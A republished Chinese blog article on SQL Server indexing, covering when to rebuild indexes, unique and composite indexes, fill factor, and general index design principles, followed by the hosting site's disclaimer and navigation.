顺便多说一句,SQLS除了能自动记录统计信息之外,还可以记录服务器中所发生的其它活动的详细信息,包括I/O 统计信息、CPU 统计信息、锁定请求、T-SQL 和 RPC 统计信息、索引和表扫描、警告和引发的错误、数据库对象的创建/除去、连接/断开、存储过程操作、游标操作等等。这些信息的读取、设置请朋友们在SQLS联机帮助文档(SQL Server Books Online)中搜索字符串“Profiler”查找。 五、索引的人工维护 上面讲到,某些不合适的索引将影响到SQLS的性能,随着应用系统的运行,数据不断地发生变化,当数据变化达到某一个程度时将会影响到索引的使用。这时需要用户自己来维护索引。 随着数据行的插入、删除和数据页的分裂,有些索引页可能只包含几页数据,另外应用在执行大量I/O的时候,重建非聚聚集索引可以维护I/O的效率。重建索引实质上是重新组织B树。需要重建索引的情况有: 1) 数据和使用模式大幅度变化; 2)排序的顺序发生改变; 3)要进行大量插入操作或已经完成; 4)使用I/O查询的磁盘读次数比预料的要多; 5)由于大量数据修改,使得数据页和索引页没有充分使用而导致空间的使用超出估算; 6)dbcc检查出索引有问题。 六、索引的使用原则 接近尾声的时候,让我们再从另一个角度认识索引的两个重要属性----唯一性索引和复合性索引。 在设计表的时候,可以对字段值进行某些限制,比如可以对字段进行主键约束或唯一性约束。 主键约束是指定某个或多个字段不允许重复,用于防止表中出现两条完全相同的记录,这样的字段称为主键,每张表都可以建立并且只能建立一个主键,构成主键的字段不允许空值。例如职员表中“身份证号”字段或成绩表中“学号、课程编号”字段组合。 而唯一性约束与主键约束类似,区别只在于构成唯一性约束的字段允许出现空值。 建立在主键约束和唯一性约束上的索引,由于其字段值具有唯一性,于是我们将这种索引叫做“唯一性索引”,如果这个唯一性索引是由两个以上字段的组合建立的,那么它又叫“复合性索引”。 注意,唯一索引不是聚集索引,如果对一个字段建立了唯一索引,你仅仅不能向这个字段输入重复的值。并不妨碍你可以对其它类型的字段也建立一个唯一性索引,它们可以是聚集的,也可以是非聚集的。 唯一性索引保证在索引列中的全部数据是唯一的,不会包含冗余数据。如果表中已经有一个主键约束或者唯一性约束,那么当创建表或者修改表时,SQLS自动创建一个唯一性索引。但出于必须保证唯一性,那么应该创建主键约束或者唯一性键约束,而不是创建一个唯一性索引。当创建唯一性索引时,应该认真考虑这些规则:当在表中创建主键约束或者唯一性键约束时, SQLS钭自动创建一个唯一性索引;如果表中已经包含有数据,那么当创建索引时,SQLS检查表中已有数据的冗余性,如果发现冗余值,那么SQLS就取消该语句的执行,并且返回一个错误消息,确保表中的每一行数据都有一个唯一值。 复合索引就是一个索引创建在两个列或者多个列上。在搜索时,当两个或者多个列作为一个关键值时,最好在这些列上创建复合索引。当创建复合索引时,应该考虑这些规则:最多可以把16个列合并成一个单独的复合索引,构成复合索引的列的总长度不能超过900字节,也就是说复合列的长度不能太长;在复合索引中,所有的列必须来自同一个表中,不能跨表建立复合列;在复合索引中,列的排列顺序是非常重要的,原则上,应该首先定义最唯一的列,例如在(COL1,COL2)上的索引与在(COL2,COL1)上的索引是不相同的,因为两个索引的列的顺序不同;为了使查询优化器使用复合索引,查询语句中的WHERE子句必须参考复合索引中第一个列;当表中有多个关键列时,复合索引是非常有用的;使用复合索引可以提高查询性能,减少在一个表中所创建的索引数量。 综上所述,我们总结了如下索引使用原则: 1)逻辑主键使用唯一的成组索引,对系统键(作为存储过程)采用唯一的非成组索引,对任何外键列采用非成组索引。考虑数据库的空间有多大,表如何进行访问,还有这些访问是否主要用作读写。 2)不要索引memo/note 字段,不要索引大型字段(有很多字符),这样作会让索引占用太多的存储空间。 3)不要索引常用的小型表 4)一般不要为小型数据表设置过多的索引,假如它们经常有插入和删除操作就更别这样作了,SQLS对这些插入和删除操作提供的索引维护可能比扫描表空间消耗更多的时间。 七、大结局 查询是一个物理过程,表面上是SQLS在东跑西跑,其实真正大部分压马路的工作是由磁盘输入输出系统(I/O)完成,全表扫描需要从磁盘上读表的每一个数据页,如果有索引指向数据值,则I/O读几次磁盘就可以了。但是,在随时发生的增、删、改操作中,索引的存在会大大增加工作量,因此,合理的索引设计是建立在对各种查询的分析和预测上的,只有正确地使索引与程序结合起来,才能产生最佳的优化方案。 一般来说建立索引的思路是: (1)主键时常作为where子句的条件,应在表的主键列上建立聚聚集索引,尤其当经常用它作为连接的时候。 (2)有大量重复值且经常有范围查询和排序、分组发生的列,或者非常频繁地被访问的列,可考虑建立聚聚集索引。 (3)经常同时存取多列,且每列都含有重复值可考虑建立复合索引来覆盖一个或一组查询,并把查询引用最频繁的列作为前导列,如果可能尽量使关键查询形成覆盖查询。 (4)如果知道索引键的所有值都是唯一的,那么确保把索引定义成唯一索引。 (5)在一个经常做插入操作的表上建索引时,使用fillfactor(填充因子)来减少页分裂,同时提高并发度降低死锁的发生。如果在只读表上建索引,则可以把fillfactor置为100。 (6)在选择索引字段时,尽量选择那些小数据类型的字段作为索引键,以使每个索引页能够容纳尽可能多的索引键和指针,通过这种方式,可使一个查询必须遍历的索引页面降到最小。此外,尽可能地使用整数为键值,因为它能够提供比任何数据类型都快的访问速度。 SQLS是一个很复杂的系统,让索引以及查询背后的东西真相大白,可以帮助我们更为深刻的了解我们的系统。一句话,索引就象盐,少则无味多则咸。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_28052907/article/details/75194926。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-30 23:10:07
98
转载
建站模板下载
...,提供便捷的网站搭建方案。用户可快速下载并自定义,打造独特且专业的餐饮类企业网站,提升在线影响力与用户体验。 点我下载 文件大小:1.83 MB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-06-03 10:04:08
58
本站
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
tail -n 10 file.txt
- 显示文件结尾的10行内容。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"